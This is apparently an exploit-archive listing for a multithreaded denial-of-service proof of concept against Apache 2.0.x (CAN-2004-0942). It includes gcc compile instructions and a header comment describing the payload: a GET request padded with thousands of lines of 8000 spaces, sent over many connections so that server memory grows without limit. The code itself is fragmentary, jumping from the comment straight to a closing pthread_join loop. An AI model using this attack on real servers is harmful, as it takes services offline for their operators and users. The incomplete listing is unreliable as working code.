Versions between 2.0.35 and 2.0.52 may be vulnerable, but only down to 2.0.50 was tested. This attack may be preventable with a properly configured iptables ruleset.
This exploit is multi threaded version (implemented with pthread) and should be compiled appropriately.
e.g: gcc -lpthread -o apache-squ1rt apache-squ1rt.c
Exploit Code:
/*
Apache Squ1rt, Denial of Service Proof of Concept
Tested on Apache 2.0.52
j0hnylightning at gmail dot com
dguido at gmail dot com
Sends a request that starts with:
GET / HTTP/1.0\n
8000 spaces \n
8000 spaces \n
8000 spaces \n
...
8000 times
Apache never kills it. Takes up huge amounts of
RAM which increase with each connection.
Original credit goes to Chintan Trivedi on the
FullDisclosure mailing list:
http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html
More info:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942
Versions between 2.0.35 and 2.0.52 may be vulnerable,
but only down to 2.0.50 was tested.
This attack may be preventable with a properly configured
iptables ruleset. Gentoo already has a patch out in the
2.0.52-r1 release in the file 06_all_gentoo_protocol.patch
v2
Rewritten to use pthread.
gcc apache-squ1rt.c -lpthread
*/
/* assuming any of these threads actually terminate, this waits for
all of them */
for(num_connect = 0; num_connect < 35; num_connect++){
pthread_join(tid[num_connect], NULL);
}